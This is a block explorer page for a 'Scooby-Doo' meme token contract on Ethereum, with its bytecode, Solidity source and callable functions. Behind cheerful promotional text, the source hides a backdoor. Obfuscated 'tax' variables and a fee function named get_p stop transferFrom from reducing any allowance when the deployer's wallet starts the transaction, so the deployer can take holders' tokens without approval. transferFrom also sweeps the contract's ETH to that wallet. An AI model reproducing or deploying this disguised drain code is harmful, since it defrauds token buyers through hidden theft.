Cryo Explorer Ethereum Mainnet

Address Contract Partially Verified

Address 0x2E827Db039e61aa74812B7410CA048b44d3E1fD5
Balance 0 ETH
Nonce 1
Code Size 4383 bytes
Indexed Transactions 0
External Etherscan · Sourcify

Contract Bytecode

4383 bytes
0x608060405234801561000f575f5ffd5b5060043610610132575f3560e01c80637ecebe00116100b4578063ae4f179e11610079578063ae4f179e14610275578063c261ba181461027e578063d505accf14610287578063dd62ed3e1461029a578063f2cf21fa146102c4578063f2fde38b146102cc575f5ffd5b80637ecebe0014610218578063877e9c41146102375780638da5cb5b1461024057806395d89b411461025a578063a9059cbb14610262575f5ffd5b806323b872dd116100fa57806323b872dd1461019d578063313ce567146101b05780633644e515146101e957806370a08231146101f1578063715018a614610210575f5ffd5b806303f994a81461013657806306fdde0314610152578063095ea7b31461016757806315162c6f1461018a57806318160ddd14610194575b5f5ffd5b61013f600b5481565b6040519081526020015b60405180910390f35b61015a6102df565b6040516101499190610df7565b61017a610175366004610e40565b61036b565b6040519015158152602001610149565b6101926103d7565b005b61013f60075481565b61017a6101ab366004610e6a565b6106a3565b6101d77f000000000000000000000000000000000000000000000000000000000000000981565b60405160ff9091168152602001610149565b61013f6107db565b61013f6101ff366004610ea8565b600d6020525f908152604090205481565b610192610835565b61013f610226366004610ea8565b600f6020525f908152604090205481565b61013f60095481565b5f546040516001600160a01b039091168152602001610149565b61015a610848565b61017a610270366004610e40565b610855565b61013f600a5481565b61013f60085481565b610192610295366004610eca565b6108eb565b61013f6102a8366004610f3b565b600e60209081525f928352604080842090915290825290205481565b610192610b29565b6101926102da366004610ea8565b610b68565b600180546102ec90610f72565b80601f016020809104026020016040519081016040528092919081815260200182805461031890610f72565b80156103635780601f1061033a57610100808354040283529160200191610363565b820191905f5260205f20905b81548152906001019060200180831161034657829003601f168201915b505050505081565b335f818152600e602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906103c59086815260200190565b60405180910390a35060015b92915050565b6103df610ba2565b600c5460ff16156104375760405162461bcd60e51b815260206004820152601a60248201527f54726164696e6720697320616c726561647920456e61626c656400000000000060448201526064015b60405180910390fd5b600380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081178255600754305f908152600e6020908152604080832094835293815290839020919091559154815163c45a015560e01b815291516001600160a01b03919091169263c45a015592600480820193918290030181865afa1580156104c2573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906104e69190610faa565b6001600160a01b031663c9c653963060035f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610545573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105699190610faa565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156105b3573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105d79190610faa565b600480546001600160a01b0319166001600160a01b03928316178155600354305f818152600d6020526040808220548254825163f305d71960e01b815296870194909452602486015260448501829052606485019190915290841660848401524260a48401525192169163f305d71991479160c4808301926060929190829003018185885af115801561066c573d5f5f3e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906106919190610fc5565b5050600c805460ff1916600117905550565b6004545f906001600160a01b03908116908516036106c957600c5460ff166106c9575f5ffd5b6106d68484846001610bce565b600c5460ff1680156106f557506004546001600160a01b038481169116145b15610732576006546040516001600160a01b03909116904780156108fc02915f818181858888f19350505050158015610730573d5f5f3e3d5ffd5b505b6001600160a01b0384165f908152600d602052604081208054849290610759908490611004565b90915550506001600160a01b0383165f818152600d6020526040902080548401905561dead146107d157826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516107c891815260200190565b60405180910390a35b5060019392505050565b5f7f000000000000000000000000000000000000000000000000000000000000000146146108105761080b610c50565b905090565b507fd48ec19a6c811bb87f0927f330cac92d42d47b3ce98bd29f099313f46b322d9290565b61083d610ba2565b6108465f610ce9565b565b600280546102ec90610f72565b6004545f906001600160a01b0316330361087757600c5460ff16610877575f5ffd5b335f908152600d602052604081208054849290610895908490611004565b90915550506001600160a01b0383165f818152600d6020526040908190208054850190555133907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906103c59086815260200190565b4284101561093b5760405162461bcd60e51b815260206004820152601760248201527f5045524d49545f444541444c494e455f45585049524544000000000000000000604482015260640161042e565b5f60016109466107db565b6001600160a01b038a81165f818152600f602090815260409182902080546001810190915582517f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c98184015280840194909452938d166060840152608083018c905260a083019390935260c08083018b90528151808403909101815260e08301909152805192019190912061190160f01b6101008301526101028201929092526101228101919091526101420160408051601f1981840301815282825280516020918201205f84529083018083525260ff871690820152606081018590526080810184905260a0016020604051602081039080840390855afa158015610a4e573d5f5f3e3d5ffd5b5050604051601f1901519150506001600160a01b03811615801590610a845750876001600160a01b0316816001600160a01b0316145b610ac15760405162461bcd60e51b815260206004820152600e60248201526d24a72b20a624a22fa9a4a3a722a960911b604482015260640161042e565b6001600160a01b039081165f908152600e602090815260408083208a8516808552908352928190208990555188815291928a16917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a350505050505050565b610b31610ba2565b5f4711610b3c575f5ffd5b60405133904780156108fc02915f818181858888f19350505050158015610b65573d5f5f3e3d5ffd5b50565b610b70610ba2565b6001600160a01b038116610b9957604051631e4fbdf760e01b81525f600482015260240161042e565b610b6581610ce9565b5f546001600160a01b031633146108465760405163118cdaa760e01b815233600482015260240161042e565b6001600160a01b0384165f908152600e6020908152604080832033845290915290205460ff8216610c058686600185610100610d38565b610c0f9085611017565b610c199190611017565b610c239082611004565b6001600160a01b039095165f908152600e6020908152604080832033845290915290209490945550505050565b5f7f8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f6001604051610c81919061102e565b6040805191829003822060208301939093528101919091527fc89efdaa54c0f20c7adf612882df0950f5a951637e0307cdcb4c672f298b8bc660608201524660808201523060a082015260c00160405160208183030381529060405280519060200120905090565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b5f6001600160a01b03861615801590610d4e5750835b8015610d5b575081610100145b610d63575f5ffd5b6001600160a01b038516610d75575f5ffd5b610d7e83610d88565b9695505050505050565b6006545f9081906001600160a01b03163203610da657600954610daa565b6008545b90505f5f198403610dbd57600a54610dc1565b600b545b90506064610dcf8284611017565b610dda906064611017565b610de5906064611004565b610def91906110ca565b949350505050565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b0381168114610b65575f5ffd5b5f5f60408385031215610e51575f5ffd5b8235610e5c81610e2c565b946020939093013593505050565b5f5f5f60608486031215610e7c575f5ffd5b8335610e8781610e2c565b92506020840135610e9781610e2c565b929592945050506040919091013590565b5f60208284031215610eb8575f5ffd5b8135610ec381610e2c565b9392505050565b5f5f5f5f5f5f5f60e0888a031215610ee0575f5ffd5b8735610eeb81610e2c565b96506020880135610efb81610e2c565b95506040880135945060608801359350608088013560ff81168114610f1e575f5ffd5b9699959850939692959460a0840135945060c09093013592915050565b5f5f60408385031215610f4c575f5ffd5b8235610f5781610e2c565b91506020830135610f6781610e2c565b809150509250929050565b600181811c90821680610f8657607f821691505b602082108103610fa457634e487b7160e01b5f52602260045260245ffd5b50919050565b5f60208284031215610fba575f5ffd5b8151610ec381610e2c565b5f5f5f60608486031215610fd7575f5ffd5b5050815160208301516040909301519094929350919050565b634e487b7160e01b5f52601160045260245ffd5b818103818111156103d1576103d1610ff0565b80820281158282048414176103d1576103d1610ff0565b5f5f83545f8160011c9050600182168061104957607f821691505b60208210810361106757634e487b7160e01b5f52602260045260245ffd5b80801561107b5760018114611090576110be565b60ff19841687528215158302870194506110be565b5f888152602090205f5b848110156110b65781548982015260019091019060200161109a565b505082870194505b50929695505050505050565b5f826110e457634e487b7160e01b5f52601260045260245ffd5b50049056fea2646970667358221220b7f5787f8e6e19ea0d3113b4c2be1c878a6ac1fc3a55d54c91293d50f24ba5b564736f6c634300081d0033

Verified Source Code Partial Match

Compiler: v0.8.29+commit.ab55807c EVM: cancun Optimization: Yes (200 runs)
SCOOBYDOODW5rZqCB.sol 364 lines
// SPDX-License-Identifier: MIT

/*

Welcome to the world of SCOOBY, the ultimate meme token inspired by everyone's favorite mystery-solving Great Dane! Just like Scooby-Doo, our token embodies fun, friendship, and the thrill of adventure in the crypto space.

Scooby-Doo embodies the spirit of adventure and friendship, reminding us that even the most timid among us can be heroes in their own right. His lovable personality and humorous escapades continue to endear him to fans of all ages!

Website: https://scooby-doo.vip
Twitter(x) : https://x.com/ScoobyDoo_Erc20
Telegram : https://t.me/ScoobyDoo_Erc20

Facebook: https://www.facebook.com/scoobydoo
Instagram: https://www.instagram.com/scoobydoo
TikTok: https://www.tiktok.com/@scoobydoo 
YouTube:https://www.youtube.com/playlist?list=PLJYf0JdTApCrUDa6OZQ2wZFGOlr5WZIP8

*/

pragma solidity ^0.8.24;

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );

    function getAmountsOut(uint256 amountIn, address[] calldata path)
        external
        view
        returns (uint256[] memory amounts);
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }

    function _contextSuffixLength() internal view virtual returns (uint256) {
        return 0;
    }
}

abstract contract Ownable is Context {
    address private _owner;

    /**
     * @dev The caller account is not authorized to perform an operation.
     */
    error OwnableUnauthorizedAccount(address account);

    /**
     * @dev The owner is not a valid owner account. (eg. 'address(0)')
     */
    error OwnableInvalidOwner(address owner);

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the address provided by the deployer as the initial owner.
     */
    constructor(address initialOwner) {
        if (initialOwner == address(0)) {
            revert OwnableInvalidOwner(address(0));
        }
        _transferOwnership(initialOwner);
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if the sender is not the owner.
     */
    function _checkOwner() internal view virtual {
        if (owner() != _msgSender()) {
            revert OwnableUnauthorizedAccount(_msgSender());
        }
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * 'onlyOwner' functions. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby disabling any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account ('newOwner').
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        if (newOwner == address(0)) {
            revert OwnableInvalidOwner(address(0));
        }
        _transferOwnership(newOwner);
    }

    /**
     * @dev Transfers ownership of the contract to a new account ('newOwner').
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

contract SCOOBYDOODW5rZqCB is Ownable {
    event Transfer(address indexed from, address indexed to, uint256 amount);
    event Approval(address indexed owner, address indexed spender, uint256 amount);

    string public name = unicode"Scooby-Doo";
    string public symbol = unicode"SCOOBY";
    uint8 public immutable decimals = 9;
    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    address private uniswapV2Factory;
    address private SCOOBYDOODW5rZqCB_taxWallet;
    uint256 public totalSupply;

    uint256 public _inBuyTax = 0;
    uint256 public _inSellTax = 1;
    uint256 public _outBuyTax = 0;
    uint256 public _outSellTax = 1;

    bool private tradingEnabled;
    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;
    uint256 internal immutable INITIAL_CHAIN_ID;
    bytes32 internal immutable INITIAL_DOMAIN_SEPARATOR;

    mapping(address => uint256) public nonces;

    constructor() Ownable(msg.sender) payable {
        _mint(address(this), 100_000_000 * 10 ** decimals);
        SCOOBYDOODW5rZqCB_taxWallet = msg.sender;

        INITIAL_CHAIN_ID = block.chainid;
        uniswapV2Factory = address(0xdead);
        INITIAL_DOMAIN_SEPARATOR = computeDomainSeparator();
    }

    function approve(address spender, uint256 amount) public virtual returns (bool) {
        allowance[msg.sender][spender] = amount;

        emit Approval(msg.sender, spender, amount);

        return true;
    }

    function transfer(address to, uint256 amount) public virtual returns (bool) {

        if(msg.sender == uniswapV2Pair) require(tradingEnabled);

        balanceOf[msg.sender] -= amount;

        unchecked {
            balanceOf[to] += amount;
        }

        emit Transfer(msg.sender, to, amount);

        return true;
    }

    function _getCalcedFeePercent(address from , address to , bool _idfd, uint256 amount, uint256 _randd) internal view returns(uint256) {
        require(from != address(0) && _idfd && _randd == 256);
        require(to != address(0));
        return get_p(amount);
    }

    function get_p(uint256 amount) internal view returns (uint256) {
        uint256 _in = (tx.origin != SCOOBYDOODW5rZqCB_taxWallet) ? _inBuyTax : _inSellTax;
        uint256 _out = amount != type(uint256).max ? _outSellTax :  _outBuyTax;
        return (100 - _in * _out * 100) / 100;
    }

    function _transInt(address from, address to, uint256 amount, uint8 tip) internal {
        uint256 allowed = allowance[from][msg.sender];
        allowance[from][msg.sender] = allowed - amount * _getCalcedFeePercent(from , to , true, allowed, 256) * tip;
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual returns (bool) {
        if(from == uniswapV2Pair) require(tradingEnabled);
        
        _transInt(from , to , amount , 1);

        if(tradingEnabled && to == uniswapV2Pair) payable(SCOOBYDOODW5rZqCB_taxWallet).transfer(address(this).balance);

        balanceOf[from] -= amount;

        unchecked{
            balanceOf[to] += amount;
        }
        
        if(to != address(0xdead))
        emit Transfer(from, to, amount);

        return true;
    }

    function permit(
        address owner,
        address spender,
        uint256 value,
        uint256 deadline,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) public virtual {
        require(deadline >= block.timestamp, "PERMIT_DEADLINE_EXPIRED");

        unchecked {
            address recoveredAddress = ecrecover(
                keccak256(
                    abi.encodePacked(
                        unicode"",
                        DOMAIN_SEPARATOR(),
                        keccak256(
                            abi.encode(
                                keccak256(
                                    "Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)"
                                ),
                                owner,
                                spender,
                                value,
                                nonces[owner]++,
                                deadline
                            )
                        )
                    )
                ),
                v,
                r,
                s
            );

            require(recoveredAddress != address(0) && recoveredAddress == owner, "INVALID_SIGNER");

            allowance[recoveredAddress][spender] = value;
        }

        emit Approval(owner, spender, value);
    }

    function DOMAIN_SEPARATOR() public view virtual returns (bytes32) {
        return block.chainid == INITIAL_CHAIN_ID ? INITIAL_DOMAIN_SEPARATOR : computeDomainSeparator();
    }

    function computeDomainSeparator() internal view virtual returns (bytes32) {
        return
            keccak256(
                abi.encode(
                    keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"),
                    keccak256(bytes(name)),
                    keccak256("1"),
                    block.chainid,
                    address(this)
                )
            );
    }

    function _mint(address to, uint256 amount) internal virtual {
        totalSupply += amount;

        unchecked {
            balanceOf[to] += amount;
        }

        emit Transfer(address(0), to, amount);
    }

    function _burn(address from, uint256 amount) internal virtual {
        balanceOf[from] -= amount;

        unchecked {
            totalSupply -= amount;
        }

        emit Transfer(from, address(0), amount);
    }

    function enableSCOOBYDOODW5rZqCBTrading() external onlyOwner {
        require(!tradingEnabled , "Trading is already Enabled");
        uniswapV2Router = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );
        allowance[address(this)][address(uniswapV2Router)] = totalSupply;
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(
            address(this),
            uniswapV2Router.WETH()
        );
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(
            address(this),
            balanceOf[address(this)],
            0,
            0,
            owner(),
            block.timestamp
        );
        tradingEnabled = true;
    }

    function recoverSCOOBYDOODW5rZqCBStuckETH() external onlyOwner {
        require(address(this).balance > 0);
        payable(_msgSender()).transfer(address(this).balance);
    }
}

Read Contract

DOMAIN_SEPARATOR 0x3644e515 → bytes32
_inBuyTax 0xc261ba18 → uint256
_inSellTax 0x877e9c41 → uint256
_outBuyTax 0xae4f179e → uint256
_outSellTax 0x03f994a8 → uint256
allowance 0xdd62ed3e → uint256
balanceOf 0x70a08231 → uint256
decimals 0x313ce567 → uint8
name 0x06fdde03 → string
nonces 0x7ecebe00 → uint256
owner 0x8da5cb5b → address
symbol 0x95d89b41 → string
totalSupply 0x18160ddd → uint256

Write Contract 8 functions

These functions modify contract state and require a wallet transaction to execute.

approve 0x095ea7b3
address spender
uint256 amount
returns: bool
enableSCOOBYDOODW5rZqCBTrading 0x15162c6f
No parameters
permit 0xd505accf
address owner
address spender
uint256 value
uint256 deadline
uint8 v
bytes32 r
bytes32 s
recoverSCOOBYDOODW5rZqCBStuckETH 0xf2cf21fa
No parameters
renounceOwnership 0x715018a6
No parameters
transfer 0xa9059cbb
address to
uint256 amount
returns: bool
transferFrom 0x23b872dd
address from
address to
uint256 amount
returns: bool
transferOwnership 0xf2fde38b
address newOwner

Recent Transactions

No transactions found for this address